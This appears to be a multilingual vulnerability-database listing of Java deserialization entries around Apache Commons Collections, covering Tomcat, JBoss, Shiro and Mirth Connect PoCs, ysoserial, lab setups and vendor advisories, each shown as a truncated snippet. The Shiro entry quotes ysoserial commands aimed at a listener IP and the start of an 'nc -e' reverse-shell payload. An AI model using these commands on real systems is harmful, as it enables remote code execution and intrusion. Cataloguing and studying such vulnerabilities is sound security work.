CVE-2020-9484

CVE-2020-9484 Kali 2.0으로 Apache Tomcat Session 역직렬화 코드 실행 취약점 CVE-2020-9484 재현 환경： 1. Kali 2.0 2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz（webapp은 s2-053이고, 해당 lib에 commons-collections4-4.0.jar를 추가함） 시작 /yourtomcatdir/bin/startup.sh payload 생성 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar...

CVE-2025-24813

CVE-2025-24813 Tomcat PoC PoC for an authorized CTF/lab environment. It exploits CVE-2025-24813 via partial PUT write of a Tomcat session file, then triggers deserialization with JSESSIONID. Prerequisites Python 3 Python requests module Java JDK java and javac The included...

Red Hat JBoss - Insecure Deserialization

Red Hat JBoss Application Server 4.x, 5.x, 6.x contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apach...

CVE-2015-6420

CVE-2015-6420 Vulnerabilità di deserializzazione Riferimenti Analisi della catena di sfruttamento CC della vulnerabilità di deserializzazione Java...

CVE-2017-7525-Jackson-Deserialization-Lab

CVE-2017-7525 Laboratorio di deserializzazione non sicura in Java Applicazione Java REST di base vulnerabile alla deserializzazione non sicura, che porta a RCE. Il progetto deve essere eseguito su Java 8u45 Basato su Maven con le seguenti dipendenze: jackson-databind 2.2.2 commons-collections 3.1...

SHIRO-550

Vulnerabilità di deserializzazione di Shiro RememberMe 1.2.4 SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e...

ysoserial

ysoserial Uno strumento proof-of-concept per generare payload che sfruttano la deserializzazione non sicura di oggetti Java. Descrizione Originariamente rilasciato come parte del talk AppSecCali 2015 "Marshalling Pickles: how deserializing objects will ruin your day" con gadget chain per Apache...

CVE-2025-24813

CVE-2025-24813 Descrizione Questo repository mira a fornire istruzioni chiare per il rapido dispiegamento di Tomcat v9.0.90 con java 25.0.1 2025-10-21 LTS su Windows Server 2019 Standard per un esercizio di simulazione di minacce di cybersicurezza. exploit.py sfrutta ysoserial-all.jar per creare ...

Jboss_JMXInvokerServlet_Deserialization_RCE

JbossJMXInvokerServletDeserializationRCE Ausnutzen der Java-Deserialisierungsschwachstelle mit Burp Suite 0x01 Aufbau der Jboss JMXInvokerServlet-Deserialisierungsschwachstelle Testumgebung: JBoss JMXInvokerServlet-Deserialisierungsschwachstelle Prinzip der Schwachstelle: JBoss liest in der...

CVE-2023-43208

CVE-2023-43208 — Mirth Connect RCE CVE-2023-43208 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, Mirth Connect के 4.4.1 से पहले के संस्करणों में एक अप्रमाणित रिमोट कोड निष्पादन भेद्यता। विवरण Mirth Connect एक व्यापक रूप से तैनात ओपन-सोर्स हेल्थकेयर इंटीग्रेशन इंजन है। यह भेद्यता /api/users एंडपॉइंट के माध्यम से...

ROOT-APP-MAVEN-CVE-2015-6420 CVE-2015-6420 in commons-collections:commons-collections - Patched by Root

Root has patched CVE-2015-6420 in the commons-collections:commons-collections package for Root:Maven. Multiple fixed versions available...

ROOT-APP-MAVEN-CVE-2015-7501 CVE-2015-7501 in commons-collections:commons-collections - Patched by Root

Root has patched CVE-2015-7501 in the commons-collections:commons-collections package for Root:Maven. Multiple fixed versions available...

CVE-2026-40901

DataEase is an open-source data visualization and analytics platform. Versions 2.10.20 and below ship the legacy velocity-1.7.jar, which pulls in commons-collections-3.2.1.jar containing the InvokerTransformer deserialization gadget chain. Quartz 2.3.2, also bundled in the application, deserializ...

osv-java-poc

OSV Scanner CVE Detection POC — Vulnerable Java App ⚠️ WA...

RHCOS 2 : Red Hat OpenShift Enterprise 2.2.10 (RHSA-2016:1773)

The remote Red Hat Enterprise Linux CoreOS 2 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2016:1773 advisory. - CXF: SSL hostname verification bypass, incomplete CVE-2012-6153 fix CVE-2014-3577 - apache-commons-collections: InvokerTransformer...

EUVD-2026-23310

DataEase is an open-source data visualization and analytics platform. Versions 2.10.20 and below ship the legacy velocity-1.7.jar, which pulls in commons-collections-3.2.1.jar containing the InvokerTransformer deserialization gadget chain. Quartz 2.3.2, also bundled in the application, deserializ...

Security Bulletin: IBM Content Navigator uses Apache Commons Collections resulting in multiple CVEs

Summary IBM Content Navigator is affected by CVE-2015-4852, a Deserialization of Untrusted Data vulnerability CWE-502 in Apache Commons Collections, originally identified in Oracle WebLogic Server. A remote attacker could exploit this vulnerability by sending a crafted serialized Java object over...

Exploit for Deserialization of Untrusted Data in Nextgen Mirth_Connect

CVE-2023-43208 — Mirth Connect RCE !Pythonhttps://img.shie...

MiracleLinux 7 : apache-commons-collections-3.2.1-22.el7 (AXSA:2015-834:01)

The remote MiracleLinux 7 host has a package installed that is affected by a vulnerability as referenced in the AXSA:2015-834:01 advisory. The introduction of the Collections API by Sun in JDK 1.2 has been a boon to quick and effective Java programming. Ready access to powerful data structures ha...

MiracleLinux 4 : jakarta-commons-collections-3.2.1-3.5.AXS4 (AXSA:2015-832:01)

The remote MiracleLinux 4 host has a package installed that is affected by a vulnerability as referenced in the AXSA:2015-832:01 advisory. The introduction of the Collections API by Sun in JDK 1.2 has been a boon to quick and effective Java programming. Ready access to powerful data structures ha...